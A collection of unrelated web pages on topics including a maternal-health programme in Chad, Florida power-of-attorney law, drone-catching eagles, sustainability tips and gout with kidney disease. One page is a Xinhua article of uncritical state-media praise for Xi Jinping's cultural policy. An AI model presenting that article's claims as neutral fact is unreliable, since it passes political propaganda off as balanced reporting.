Funded by the Global Fund to Fight AIDS, Tuberculosis and Malaria, we started to work in Chad in 2018. Our aim is to increase and improve the availability and quality of integrated ANC and PNC, including HIV, tuberculosis and malaria control in health facilities; to strengthen monitoring and evaluation (M&E) at facilities involved; improve maternal and newborn health through assessing maternal morbidity and neonatal morbidity; disseminate and communicate lessons learned and results via conferences, events and peer-reviewed publications.
First phase in 2018
In this initial phase, establishing nationally adapted standards of care for ANC-PNC, and a baseline of information on the availability and quality of care offered in healthcare facilities across the country was a key priority for the government to identify gaps to be addressed. Specific standards were developed, alongside capacity strengthening packages and manuals. The initial Health Facility Survey (HFS) was conducted in 12 regions (Batha, Borkou, Ennedi Est, Hadjer-Lamis, Kanem, Logone Oriental, Mandoul, Mayo-Kebi Est, Mayo-Kebi Ouest, Moyen Chari, N’Djamena, Tandjile), in a selected sample of 60 healthcare facilities (HCF), comprising a mix of public, private and faith-based facilities at primary, secondary and tertiary levels of care. The HFS results raised concerns over the lack of infrastructure and low staffing level of healthcare providers involved in ANC-PNC, the variable availability of equipment and consumables, as well as incomplete ANC follow-up compliance and rare PNC attendance. This all evidenced an unfulfilled potential for identifying and managing those who need support in the areas of HIV, TB and malaria and other integrated services, thus offering a strong platform for improvement of ANC-PNC in content and quality, with integration across the three main diseases.
To prepare the capacity strengthening activities of Phase 2, a national cohort of master-trainers (MT) was trained in ANC-PNC (18) and Standards-based audit (18).
Second phase 2020 – 2021
The second phase of the programme, which ran between April 2020 and December 2021, aimed to improve the availability and quality of integrated HIV, TB and malaria services delivered to mothers and newborns in facilities providing antenatal and postnatal care (ANC and PNC) across the country. To achieve this, we worked closely with Ministry of Health Officials and LSTM’s local partner CSSI-CRASH and other stakeholders involved in the improvement of the health sector in Chad.
Integrated service delivery has the potential to increase the quality and efficiency of the health system and maximise the impact for those affected by HIV, TB and malaria. We hope this work will generate evidence of ways and means to increase the availability and quality of care available to mothers and babies throughout the country, leading to better health outcomes. The programme was completed and its results disseminated to all national stakeholders in N’Djamena in December 2021 (read blog post for further information).
Main achievements of the programme included:
- A general improvement to the availability of integrated ANC and PNC in Chad, with the capacity strengthening of 18 Master Trainers and 288 healthcare providers, as well as providing essential equipment and hygiene products to 61 healthcare facilities.
- The introduction of a quality of care culture based on bespoke quality improvement standardsdeveloped with national stakeholders for the local context in Chad. This was conducted with the capacity building of18 Master Trainers and 120 healthcare providers A monthly monitoring and evaluation follow-up on the availability and quality of care which informed Chadian maternal and child health policy making.
- The completion of stepped-wedge randomised controlled trial to estimate the impact of ‘Skills and drills’ competency-based ANC-PNC capacity strengthening of healthcare professionals on professional practice in the delivery of ANC-PNC essential components during ANC and PNC (results pending publication).
- The creation of a regional risk-score for maternal and newborn health to support decision-making, which is included in the national Reprodutive, Maternal, Newborn and Child Health national strategic dialogue in 2022.
- The dissemination of results lessons learned at a national workshop and high-level meetings in December 2021, to be followed by futureconferences, events and peer-reviewed publications.
Dr. Rolande Mindekem: Chad Senior technical officer (National Coordinator)
Mr. AlnodjiKelos: Chad Admin program coordinator (Admin and Finances)
Mrs. Melanie Kemneloum: M&E officer (Data collection and Quality assurance)
Mrs. Grace Guidjina: M&E officer (Data collection and Quality assurance)
The Ministry of Public Health (Ministere de la SantePublique – MSP) in Chad guides the program’s strategy and targets to meet national priorities in MNH. The Technical General Directorate for Reproductive Health, Vaccination and Nutrition (Direction Generale Technique de la Sante de la Reproduction, Vaccination et Nutrition) and the Directorate for Mother and Child Health (Direction de la Sante Mere-Enfant) are strongly involved in facilitating the program’s activities and setting national standards for ANC-PNC. The program is also supported by the technical advisory group from the Sexual, Reproductive, Maternal, Neonatal, Infant and Adolescent Health platform (SRMNIA-N-GFF). Finally, the MSP hosts the Project Management Unit (Unite de Gestion des Projets – UGP), who as Global Fund Principal Recipient for HIV, TB and Malaria, is the program’s donor.
The Centre for Support in International Health (Centre de Support enSante Internationale – CSSI), is the GFAPU’s main implementation partner in Chad. With a rich portfolio of humanitarian, health promotion, research projects, CSSI has a strong presence across the national territory and contributes to the design of GFAPU research protocols and national capacity strengthening strategy. The CSSI hosts the GFAPU in-country team and coordinates the administrative as well as logistic support for all activities. CSSI is part of a consortium with the Centre for Research in Anthropology and Human Sciences (CRASH),who contributes to the program’s operational research activities. The partnership between LSTM and CSSI goes beyond the implementation of projects and aims for a dynamic co-construction of both entities: LSTM has been involved in strengthening systems such as supporting CSSI safeguarding capacity-building.
Dr. Grace Kodindo: Technical General Deputy Director for Reproductive Health, Nutrition and Vaccination (National focal point)
Mr. Jean-Pierre Gami:Technical Advisor to the program for the MSP
Dr.DauglaDoumagoum Moto: Director, CSSI
Mr. Jean Naissengar: Head Admin, CSSI
Dr.MoyengarRonelngar: International Public Health Referent, CSSI
Mr HamitKessely: Research support, CSSI
Dr.YamingueBetinbaye: Researcher, CSSI-CRASH
Mr. AliKoitigam: Research Assistant/Data Officer, CSSI-CRASH
Healthcare facility baseline assessment on antenatal and postnatal care, with specific focus on HIV, TB and Malaria in selected healthcare facilities in Chad (2018) – Completed in 2018
Randomised stepped wedge trial to assess the effectiveness of healthcare provider training on the availability and quality of Antenatal (ANC) and Postnatal Care (PNC) in Chad – August 2020 to December 2021
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BEIJING, Dec. 14 (Xinhua) -- A country will only thrive if its culture thrives, and a nation will be strong only if its culture is strong.
President Xi Jinping, also general secretary of the Communist Party of China (CPC) Central Committee and chairman of the Central Military Commission, once said socialism with Chinese characteristics is a great cause of comprehensive development, and there can be no socialist modernization without the prosperity and development of socialist culture.
Since the 18th CPC National Congress in 2012, the CPC Central Committee with Xi at the core has charted the course for developing socialist literature and art in the new era, pushing for their new progress.
Xi has further adapted Marxist theory of literature and art to China, attuned it to contemporary needs, and made it known to the wider public.
In 2014, addressing a seminar on literature and art, Xi underscored the irreplaceable role that literature and art play in realizing national rejuvenation, and encouraged writers and artists to work even harder toward this goal.
In 2019, Xi called on political advisors from the literary and art circles to keep pace with the times, adopt a people-centered approach, create fine works for the people, and build social norms by promoting virtue.
"Without full confidence in our culture, without a rich and prosperous culture, the Chinese nation will not be able to rejuvenate itself," Xi pointed out in the report delivered at the 19th CPC National Congress.
BREAKING NEW GROUND
Xi has personally planned and pushed forward several significant agendas and events involving the development of literature and art, thus creating a positive environment, offering a solid guarantee, and breaking new ground for their progress.
Under his leadership, a succession of crucial policies to boost Chinese literature and art have been rolled out.
These policies have helped outline a clear and feasible roadmap for the sector's development, deliver tangible support, and foster a clean atmosphere of integrity.
Xi also attached great importance to the preservation and development of fine traditional Chinese culture. He made multiple inspections and remarks on the matter.
From the city of Qufu, the birthplace of Confucius, and renowned Mogao Grottoes on the ancient Silk Road route, to the museum of Cantonese Opera and a park dedicated to the ancient Chinese philosopher Zhu Xi, Xi left footprints in many places of cultural significance, indicating that he is determined to safeguard Chinese people's cultural roots consciously.
SUPPORTING, INSPIRING TALENT
A keen supporter of China's development in literature and art, Xi has chatted, corresponded, and made friends with professionals in the field, encouraging them to create more excellent works for the people.
Performance artist Lan Tianye was among the 29 individuals who received the July 1 Medal, the highest honor in the CPC.
"I've seen many of your works before. It's impressive that you are still working at this age," Xi said while presenting the medal to the 94-year-old ahead of the CPC's centenary earlier this year.
In his reply letter to the Ulan Muqir troupe (the Red Bud Troupe) in Inner Mongolia Autonomous Region, Xi wrote: "The enduring popularity of your troupe shows that the people need art, and art needs the people."
Mindful of Xi's expectations, Chinese literature and art professionals have been striving to reach out to the people and inspire them with their works. Over the years, they have participated in various voluntary activities and helped train over 200,000 personnel to enrich community-level cultural life.
Chinese writers, performers, artists, and filmmakers also shouldered the responsibility of recording the country's past and present. In recent years, Chinese films, such as the war epic "The Battle at Lake Changjin" and sci-fi blockbuster "The Wandering Earth," have struck a chord among Chinese audiences. Many were also well received by overseas viewers. Enditem | <urn:uuid:326e6fbc-f35e-4242-938b-507ee79c8da4> | CC-MAIN-2022-33 | http://www.news.cn/english/2021-12/14/c_1310371766.htm | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570767.11/warc/CC-MAIN-20220808061828-20220808091828-00472.warc.gz | en | 0.959987 | 809 | 1.945313 | 2 |
SOARING temperatures and ‘heat wave conditions has prompted health chiefs in Warwickshire to urge people to look out for the vulnerable.
Although welcomed by most, hot weather can cause a real danger to health – particularly to the very elderly and the seriously ill.
People with existing medical conditions and the very young are also potentially at risk during a warm spell.
The Met Office raised the heat wave warning to level two predicting a 60 per cent chance of temperatures being high enough until Thursday to have a significant effect on health.
The news has led to health and social care partners across Warwickshire to come together to give some simple advice on how to enjoy the hot weather responsibly.
Dr John Linnane, Director of Public Health at Warwickshire County Council, said: “During hot spells vulnerable groups, such as the older people, feel the severe effects of heat more than others and it’s long been recognised that death rates rise in the early stages of heat waves.
“The best advice is to relax, stay cool, drink lots of cold fluids and if you can, keep an eye on those you know to be at risk.”
The following advice to try and keep people healthy in the sun and heat:
1. Try to keep out of the sun between 11am to 3pm
2. Wear UV sunglasses, preferably wraparound, to reduce UV exposure to the eyes
3. Walk in the shade
4. Apply sunscreen of at least SPF15 with UVA protection
5. Wear a hat and light scarf
6. Wear light, loose-fitting cotton clothes
7. Drink lots of cool drinks
8. Look out for others especially vulnerable groups such as the older people, young children and babies and those with serious illnesses
9. Never leave anyone in a closed, parked vehicle, especially infants, young children or animals.
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In 2011, Florida passed the Power of Attorney Act that has had a significant impact on the then existing law in an attempt to achieve greater consistency and uniformity throughout Florida. One big change the act brought about was the codification of laws regarding a third party’s ability to reject a durable power of attorney.
Now the law states that once a power of attorney is presented to a third party, the third party is required to accept or reject the power of attorney within four business days and to provide a written explanation for rejection unless the third person is not otherwise required to engage in a transaction with the principal.
Third parties in these cases are usually banks and other businesses. The issue arises when a third party questions the power of attorney or the authority of the agent, and then refuse to honor a power of attorney. First, it is important to note that banks are offered a number of protections that encourage a bank to accept the validity of a durable power of authority. Florida law provides that if a business accepts a power of attorney that appears to be valid on its face, the bank will not be liable for accepting the power of attorney. The bank will only be liable if it knows the power of attorney has been revoked and still accepts the power of attorney.
The legislatures in Florida wish to encourage third parties to accept a power of attorney because it allows a principal to plan ahead and allow an agent to act on his or her behalf. The power of attorney is a powerful estate-planning tool that can save a family time and grief. Florida law also likes a power of attorney because it saves the court time and does not require the court to appoint a guardian when the principal becomes incompetent. Therefore, Florida law does not favor a third party that unreasonably rejects a power of authority.
Florida statute 709.2120 states that a bank, or business, cannot unreasonably reject a power of attorney. An agent seeking to enforce a power of attorney against a bank, that has unreasonably rejected the power of attorney, can be awarded costs and attorney’s fees. A bank that rejects a power of attorney does so at its own peril.
In Florida, a court will award fees and costs to a plaintiff when a third party unreasonably rejects a power of attorney.
In Albelo v. Southern Oak Insurance Co., the Court granted the plaintiff’s motion for costs and attorney’s fees under section 57.105(1). Albelo brought a claim for the damages caused by a burglary in the home. Southern Oak paid $1690.00 on the claim, but a few months later Albelo filed a sworn proof of loss, supported by a public adjuster’s estimate for $57,760.66. Southern Oak believed the sworn claim was fraudulent and instigated by Albelo’s son.
Albelo responds that before the burglary occurred, when she was 78 years old, she duly executed a Durable Power of Attorney in favor of her son. Southern Oak did not contest the formalities of the power of attorney’s execution and did not question Albelo’s state of mind when the power of attorney was executed. Instead, Southern Oak persisted that Albelo was required to seek a guardian and be legally deemed incompetent by a court.
A power of attorney was sufficient to manage her affairs, and an incapacity petition and guardianship hearing would be frivolous and a waste of the Court’s time. Therefore, the Court awarded costs and fees to Albelo for not accepting the valid power of attorney.
So when can a bank reject a power of attorney? Florida Statute 709.2120(4) allows a third party to reject a power of attorney within a reasonable time when:
- The third person is not otherwise required to engage in a transaction with the principal in the same circumstances
- The third person has knowledge of the termination or suspension of the agent’s authority or the power of attorney before exercising the power
- A timely request by the third person for an affidavit, English translation, or opinion of counsel is refused by the agent
- The third person believes in good faith that the power is not valid or that the agent does not have authority to perform the act requested; or,
- The third person makes, or has knowledge that another person has made, a report to the local adult protective services office stating a good faith belief that the principal may be subject to physical or financial abuse, neglect, exploitation, or abandonment by the agent or a person action for with the agent.
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TWO projects from Edinburgh Napier’s School of Computing have won funding from a programme which develops innovative cyber security ideas for the commercial market.
TrueDeploy and Trustd are being supported by CyberASAP, which is itself funded by the UK Department for Digital, Culture, Media and Sport working with Innovate UK.
CyberASAP creates a pipeline to commercialise innovations from university labs, providing academics with the expertise, knowledge and training needed to convert their research into technologies, products and services.
The University’s TrueDeploy project, which is developing innovative technology to bring trust and transparency to the software supply chain, has already received backing from Scottish Enterprise as part of its High Growth Spin-out Programme. Now it has been awarded £31,973 for the next four months as part of CyberASAP phase one.
The dominance of open-source software and the interconnectedness of software between organisations has raised cybersecurity risks in the software supply chain.
Potentially ruinous attacks can occur when a threat actor infiltrates and compromises software being developed by a software vendor in the long chain that exists from code being written to it being distributed to a customer.
TrueDeploy aims to bring trust to the software supply chain with a novel combination of blockchain, credential management and access control technologies.
Research student Pavlos Papadopoulos, who leads the TrueDeploy technical team, said: “We greatly appreciate Innovate UK’s support and the opportunity to participate in the Cyber security Academic Startup Accelerator Programme 2022-23.
“In the next few months, during this programme, we will investigate more deeply TrueDeploy’s value proposition, validate our chosen market, and develop our novel solution further in combination with the Scottish Enterprise High Growth Spin-out Programme’s continuous support.”
Web3 is an idea for a new iteration of the World Wide Web based on blockchain technology, which incorporates concepts including token-based economics and decentralised applications (DApps).
While an effective way for users to control their own data and digital assets, Web3 has not been widely adopted yet due to the complexity of managing users’ wallets which allows them to access these DApps.
The “Trustd: Decentralised, trustworthy, and reliable digital assets custody solution” project is working to address the inherent challenges in establishing security protection for users’ wallets, and has been awarded £29,365 as part of CyberASAP phase one.
School of Computing lecturer Dr Zakwan Jaroucheh said: “Participation in CyberASAP is a great opportunity. It will allow us to validate our value proposition and the market need for a decentralised digital assets custodial solution to advance Web3 mass adoption.” | <urn:uuid:5fd65ea9-b990-4ad9-9636-eb28d9587c27> | CC-MAIN-2022-33 | https://www.scotlandis.com/blog/double-funding-success-for-school-of-computing/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573699.52/warc/CC-MAIN-20220819131019-20220819161019-00272.warc.gz | en | 0.9385 | 564 | 1.820313 | 2 |
When surgeons removed a tennis ball-sized tumor from Eric Moger's face, he also lost an eye and large parts of his cheek, jawbone, and skull. Using 3D printing, doctors have created a life-like prosthesis that covers the gaping hole left in Moger's face. The prosthesis not only helps Moger feel at ease, but also allows him to perform tasks that used to be simple, such as drinking a glass of water without it spilling. In an interview with The Telegraph, Moger explains how his new face has transformed his life. His story was also featured on the British show Embarrassing Bodies; UK readers can watch the episode, originally aired on April 1st, using the 4oD web player. | <urn:uuid:7afb84e5-9bd7-468f-980a-242aa8fa9bf6> | CC-MAIN-2022-33 | https://www.theverge.com/2013/4/15/4225900/3d-printer-prosthesis-restores-face-of-cancer-victim | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573699.52/warc/CC-MAIN-20220819131019-20220819161019-00272.warc.gz | en | 0.982196 | 152 | 1.539063 | 2 |
Raptor response: Dutch police train eagles to snare unwelcome drones
Sometimes the best remedies for dispelling unwanted technology is to employ what is already present in nature.
Police in The Netherlands are doing just that by training birds of prey to snatch unwelcome drones right out of the sky.
Dubbed “a low-tech solution for a high-tech problem,” Dutch company Guard From Above (GFA) is solving the pesky drone syndrome “by using these birds’ animal instincts” to “offer an effective solution to a new threat.”
GFA COO and co-Founder, Ben de Keijzer said in a press release, “I have had a passion for birds of prey since I was very young. Later, I made my passion my profession by becoming a bird handler. Two of the most impressive characteristics of birds of prey are their speed and their power. They use their strength and speed when they hunt: they are the masters of the air. By using our special training methods, we can teach them to intercept drones.”
So far, GFA’s biggest client is the Dutch National Police, but they hinted at providing services for unnamed national and international governmental security agencies.
Concerning the health and safety of the clawed carnivores, it is still unknown whether there is long-term damaged to their talons; however, “in nature, birds of prey often overpower large and dangerous prey. Their talons have scales, which protect them, naturally, from their victims’ bites.”
With big social media and tech companies employing more and more drones, and as the availability of these unmanned aircraft to average consumers increases, one can only imagine how heroically eagles will come to save the day in typical Tolkien fashion to save us all from the sky.
The Eagles Are Coming!
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Individual Counseling At Take Charge, Inc., Gives The Ability to Identify And Regulate Emotions
Individual counseling with Terri Dichiser at Take Charge, Inc., promotes healing and understanding that go together and most of life’s issue can be managed and maintained through a consistent, commitment to you.
Being able to fully engage in current moment-to-moment experience and use this experience to make active choices in how to define the self and relate to others. Key experiences are explored, integrated, and used to expand the range of your responses, rather than being denied or distorted. Learn the value of being authentic — trusting one’s experience and being true to oneself.
Processing moment to moment emotional experiences provides powerful results in therapy with Terri. The ability to identify and articulate emotions offers tools for making choices and problem solving. Terri provides a safe, comfortable environment that allows you to put your thoughts and feeling into words, without fear of criticism or judgment. She will guide you into a better understanding and possibly a different perspective on your life’s circumstances with individual counseling.
Consider what happens if someone is trying to block negative emotions all the time. More and more mental energy will go into suppressing emotions. The self will use increasingly harsh and critical language to inhibit the feelings (“Stop feeling this way!” “What is wrong with you!?”; “This is pointless, stop being so stupid”). Not only do these elements inhibit the original feeling, but they increase more negative feelings. The person feels wounded and judged, which creates a negative internal cycle, a cycle where an individual turns against themselves, this easily leads to depression. Suppression and avoidance are associated with a range of psychological issues including anxiety and depression.
What are emotions? Emotions are processing information so we can survive. Emotions organize core experiences and cognitions about self and others. They are part of the experiential system, First, there are your sensory perceptual experiences (i.e., seeing trees, hearing music). Second, there are drives (i.e., good things you intuitively want to approach and bad things you intuitively want to avoid). Third, there are emotions, which are “response sets” that prepare and energize action in response to perceptions and drives.
1. Emotions are a central part of our brain.
2. Emotions provide information about one’s core goals and needs.
3. There are two broad systems of emotions, negative and positive. Negative emotions signal threat to needs and goals and energize avoidance. Positive emotions signal opportunity to meet needs and goals and energize approach.
4. Emotions prepare an individual for action.
Positive psychology is the science of what is needed for a good life. With individual counseling with Terri, collaborative emotional exploration is associated with successful outcome. At the individual level, it is about positive individual traits: the capacity for love and vocation, courage, interpersonal skill, aesthetic sensibility, perseverance, forgiveness, originality, future mindedness, spirituality, high talent, and wisdom.
For more information about depression and individual counseling with Terri at Take Charge, Inc., visit https://takechargeinc.net/individual-counseling/and call (913) 239-8255. To schedule an appointment, click here
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Rationale, aims and objectives: A collaborative, multidisciplinary guideline adaptation process was developed to construct a single overarching, evidence-based clinical practice guideline (CPG) for all primary care practitioners responsible for the management of low back pain (LBP) to curb the use of ineffective treatments and improve patient outcomes.
Methods: The adaptation strategy, which involved multiple committees and partnerships, leveraged existing knowledge transfer connections to recruit guideline development group (GDG) members and ensure that all stakeholders had a voice in the guideline development process. Videoconferencing was used to coordinate the large, geographically dispersed GDG. Information services and health technology assessment experts were used throughout the process to lighten the GDG's workload.
Results: The GDG reviewed seven seed guidelines and drafted an Alberta-specific guideline during 10 half-day meetings over a 12-month period. The use of ad hoc subcommittees to resolve uncertainties or disagreements regarding evidence interpretation expedited the process. Challenges were encountered in dealing with subjectivity, guideline appraisal tools, evidence source limitations and inconsistencies, and the lack of sophisticated evidence analysis inherent in guideline adaptation. Strategies for overcoming these difficulties are discussed.
Conclusion: Guideline adaptation is useful when resources are limited and good-quality seed CPGs exist. The Ambassador Program successfully utilized existing stakeholder interest to create an overarching guideline that aligned guidance for LBP management across multiple primary care disciplines. Unforeseen challenges in guideline adaptation can be overcome with credible seed guidelines, a consistently applied and transparent methodology, and clear documentation of the subjective contextualization process. Multidisciplinary stakeholder input and an open, trusting relationship among all contributors will ensure that the end product is clinically meaningful.
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Get Out: Surreal Adventures of Female Artists, Portable Parks & Holograms
SURREAL: Today the exhibition "In Wonderland: The Surrealist Adventures of Women Artists in Mexico and the United States" opens at LACMA in the Resnick Pavilion. The show features around one hundred and seventy-five works by nearly fifty women artists who played around with surrealism in their art. The curators tell us, "North America represented a place free from European traditions for women Surrealists from the United States and Mexico, and European émigrés. While their male counterparts usually cast women as objects for their delectation, female Surrealists delved into their own subconscious and dreams, creating extraordinary visual images." For more information, visit LACMA's website on the exhibition.
PARKS: Today from 11 am until 8 pm the exhibition "Portable Parks IV: Past, Present, Future = A.L.L." will be open at the Santa Monica Place Shopping Center. The exhibition echoes previous performance installations (I-III) by Bonnie Ora Sherk in the 1970s, which "brought the experience of nature into unexpected locations in the urban environment." For more information about the work visit the Pacific Standard Time website or the A.L.L. website itself.
PERSPECTIVE: Tristan Duke, an artist, creative researcher, and inventor based in Los Angeles, will be giving a lecture "On Holographic Perspective" at 7 pm at the Velaslavasay Panorama. The lecture will be illustrated and explore the "optics of the holographic image, its history and pre-history." Tickets are $10 and you can purchase them here. For more information about the Velaslavasay Panorama check out its website.
MUSEUMS: We've said it before and we'll say it again: this is a great weekend to get out and go to the museum for free. | <urn:uuid:8aa1a7f0-c90b-4e63-8352-ae12b51fb851> | CC-MAIN-2022-33 | https://laist.com/news/entertainment/get-out-156 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573699.52/warc/CC-MAIN-20220819131019-20220819161019-00272.warc.gz | en | 0.928244 | 401 | 1.695313 | 2 |
Sustainability is a hot topic in every industry, community, and household. Whether you’re a construction worker or a stay-at-home parent, you’re probably racking your brain to figure out the best way to live a more sustainable, eco-friendly life.
But recent research, conducted by Dr. Diana Irvona from the University of Leeds, has uncovered the habits that may be ballooning your carbon footprint.
The research shows that reducing transport, waste, and long-haul flights can significantly improve your personal sustainability. The paper also found that making changes like going vegan and investing in home renovations can bring down your carbon footprint and reduce your personal emissions.
Walking, Cycling, and Public Transport
You probably need your car for work and other responsibilities: like being a taxi for your kids or meeting up with friends. When was the last time you asked yourself, “could I walk, cycle, or take public transport instead?” It’s all too easy to jump into the car, fasten your seatbelt, and take a journey that would have been equally possible on a bus or bike.
However, Dr. Irvona’s research shows that living car-free is the biggest change you can make as an individual to reduce your carbon footprint and live a more sustainable life. Using a car every day produces a hefty amount of carbon and the maintenance required to repair and improve automotive infrastructure is a major contributing factor to climate change globally.
Of course, you don’t have to go entirely car-free to reduce your transport footprint. You should start by assessing if living without a car is right for you. You can do this by researching transport alternatives like trains, subways, and metros in your local area and testing out the cycle paths that are nearby.
If you do need a car, consider exploring alternatives like carpooling or electric vehicles. Battery-powered electric cars are gaining popularity and becoming more affordable — particularly if you account for the rise in gas prices. Making a change early may save you money in the long run and help you live a cleaner, less carbon-intensive lifestyle.
You’ve probably heard of “zero waste” lifestyles and may have even seen social media content from folks who purport to only produce one trash can of waste per year. However, going zero-waste doesn’t necessarily mean you have to find a purpose for every single bottle cap or carton.
You can start your journey towards zero waste at home. Begin by refusing to take in any goods or packaging you don’t need. You’ll be surprised by how much plastic and packaging is thrust upon you as a consumer. You can cut it out by planning ahead and bringing reusable water bottles, coffee cups, and fabric bags with you when you go shopping.
You can also bring down your waste by growing your own produce or making your own goods at home. Things like soaps and body scrubs can easily be made at home. Acquiring new thrifty skills is a great way to bond with your family while cutting down on waste.
Sustainable Home Updates
Personal sustainability starts at home. That’s because our homes require massive amounts of electricity for appliances, temperature control, and modern basics like lighting and entertainment.
In an ideal world, every homeowner would be able to make the changes to their home to improve sustainability and reduce carbon emissions. However, if you own an older home, you may run into obstacles due to unsustainable design choices that were made before architects became climate-conscious.
Fortunately, you can still take the initiative and make your old home more eco-friendly by getting an energy audit and targeting key improvements to your HVAC system and insulation. An energy audit may also help you spot less obvious upgrades: like replacing the sealant around window frames, doors, and chimneys.
There’s been a lot of buzz around plant-based eating in the past few years — and for good reason. Dr. Irvona’s research shows that dietary changes like going vegan can drastically reduce your carbon footprint and help you lead a more sustainable lifestyle. That’s because plant-based foods require less carbon, land, and water for production, storage, and transportation.
Going vegan is the holy grail of sustainable eating, but it isn’t possible for everyone. Some folks can’t afford to eat a vegan diet or live in food deserts that lack access to goods like tofu, legumes, or other plant-based protein sources. You may also live in a community that has a strong agriculture connection and feel that going vegan will undermine your local economy.
Fortunately, shifting to a diet with less carbon-intensive meat is still a great option. Locally sourced meats require less carbon due to reduced transport from farm to fork. Additionally, independent farmers are more likely to choose sustainable feed for their livestock.
Closing the Loop
Consumerism dictates that we buy new clothes for every season. However, the habit of buying new clothes every few months is deeply unsustainable — particularly if you’re shopping from stores that don’t take their commitment to sustainability seriously.
You can close the clothing loop by buying from retailers that are upfront and honest about their practices. Look for brands that clearly show how their fabrics and textiles are sourced, and only shop from ranges that are fully recycled and carbon-neutral. This may sound extreme at first, but your wallet is the only way to cast your vote for sustainability in consumerism.
You can also consider thrifting your next set of clothes if you want to up your commitment to sustainability. You can even thrift from online retails if you prefer to shop online and may still save up to 21.4 pounds of carbon per purchase.
Making sustainability a priority in your life is a great way to cut down on your carbon emissions and protect your local environment. You can start by making small changes like walking or cycling more often. When you’re ready, consider eating more plant-based foods and support efforts to close the loop by thrifting more. Most importantly, strive to only purchase goods produced by brands that mirror your commitment to sustainability. | <urn:uuid:84a76c87-ca44-4cca-a9c7-aa4b0648d328> | CC-MAIN-2022-33 | https://www.ambientbp.com/blog/five-critical-sustainable-changes | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573699.52/warc/CC-MAIN-20220819131019-20220819161019-00272.warc.gz | en | 0.951018 | 1,282 | 3.359375 | 3 |
Gout is associated with a 57% increased risk of ESRD, independent of hypertension and diabetes, according to new research.
The association between gout and both hypertension and diabetes is well established. There has been less evidence linking gout with chronic kidney disease (CKD) as an independent risk factor, however.
My colleagues and I recently published a study in Arthritis Research & Therapy; we drew on a large national database in Taiwan, where the prevalence and incidence of end-stage renal disease (ESRD) are alarmingly high. We found that gout is associated with a 57% increased risk of ESRD, independent of hypertension and diabetes.1 Among residents of Taiwan who have neither hypertension nor diabetes, the presence of gout confers a 2-fold increased risk of ESRD. Our study points out the need for physicians to routinely monitor kidney function in patients with gout.
Here are key findings about that study.
What motivated your team to study this problem in Taiwan?
First, gout is a major health problem in Taiwan, where the prevalence is as high as 3.8% in those older than 20 years. This is much higher than in the surrounding countries. Second, tophaceous gout is quite common in Taiwan. Many of our patients with gout have comorbidities, such as tophus deposition, kidney stones, chronic kidney disease, hypertension, and other cardiovascular and metabolic diseases. This disease pattern does not fit the traditional pattern. This may be because we see patients in a tertiary teaching hospital. We therefore used a database for our research that is genuinely representative of the general population.
Are your results substantially different from those in a recent report2 about the same issue in US patients?
Our research used a dataset of 1,000,000 people systematically sampled in 2000. Compared with the NHANES population studied in the referenced report,2 the mean age is somewhat younger in the Taiwan database (42 vs 47 years), although the sex ratio is similar. Gout prevalence is similar in Taiwan (3.8%) and the US (3.9%). For gout patients, the prevalence of hypertension (42.5% vs 74%) and diabetes mellitus (17.1% vs 26%) is lower in Taiwan. However, the background prevalence of hypertension (8.9% vs 28.9%) and diabetes (4.0% vs 7.8%) is markedly lower than the US. The age- and sex-adjusted odds ratios for hypertension and diabetes are even higher in gout patients in Taiwan than in the US. However, the prevalence of coronary artery disease/myocardial infarction is quite similar in both countries (13.7% in Taiwan and 14.4% in the US).
Note that the diagnoses in our studies are based on ICD-9 code given by physicians, while the NHANES is based on patient report. Collectively, both reports confirm that gout patients have high risks of cardiovascular and metabolic diseases-regardless of background risk.
So the prevalence of gout is very similar in the US and in Taiwan. Are there dietary differences between the American and Taiwanese populations that might have an impact on gout and its comorbidities?
We do not have direct data comparing diet in the US and Taiwan. In general, Taiwanese people tend to ingest less red meat, alcohol, and salt. All these are risk factors for gout, and for cardiovascular and metabolic diseases. If dietary factors have a similar impact on the prevalence of gout, hypertension, and diabetes, the fact that the gout prevalence is similar but hypertension and diabetes prevalence is markedly lower suggests that dietary factors cannot explain the differing gout comorbidities. Taiwanese people probably are genetically prone to gout.
What is the learning message from your study, and do you think it will apply to populations outside Taiwan?
We have long known that gout is often associated with cardiovascular and metabolic risk factors. However, gout itself is overlooked as an independent risk factor for cardiovascular diseases. Only recently a high risk of acute MI in gout patients has been observed in the MRFIT study3 in 2006 and a report by De Vera and coworkers4 in 2010. However, the MRFIT study focused on high-risk patients (patients with a Framingham risk score in the upper 15% band) and De Vera and colleagues selected patients older than 65 years. In addition, data in women with gout are limited.4 Similarly, gout is also overlooked as a separate risk factor for CKD and subsequent ESRD.
Key point: Our study reinforces findings that gout is an independent risk factor for acute MI and chronic kidney disease. Because we used a representative sample from the general population (ie, those older than 20 years), we generalize this concept to gout patients at young ages and to those who do not yet have traditional cardiovascular risk factors. Therefore, gout patients should receive careful motoring-regardless of their age, because gout often has its onset in young adulthood.
Care should be undertaken when generalizing our results from the Taiwanese to other populations. However, our results are in line with MRFIT study and the De Vera study in high risk populations. We have good reason to say that young and low-risk gout patients in other population are also at risk for acute MI. More evidence is needed for the association between gout and CKD in other populations.
1. Yu KH, Kuo CF, Luo SF, et al. Risk of end-stage renal disease associated with gout: a nationwide population study. Arthritis Res Ther. 2012;14:R83. doi:10.1186/ar3806. http://arthritis-research.com/content/pdf/ar3806.pdf
2. Zhu Y, Pandya BJ, Choi HK. Comorbidities of gout and hyperuricemia in the US General Population: NHANES 2007-2008. Am J Med. 2012;125:679-687. http://download.journals.elsevierhealth.com/pdfs/journals/0002-9343/PIIS0002934312001891.pdf
3. Krishnan E, Baker JF, Furst DE, Schumacher HR. Gout and the risk of acute myocardial infarction. Arthritis Rheum. 2006;54:2688-2696. http://onlinelibrary.wiley.com/doi/10.1002/art.22014/pdf.
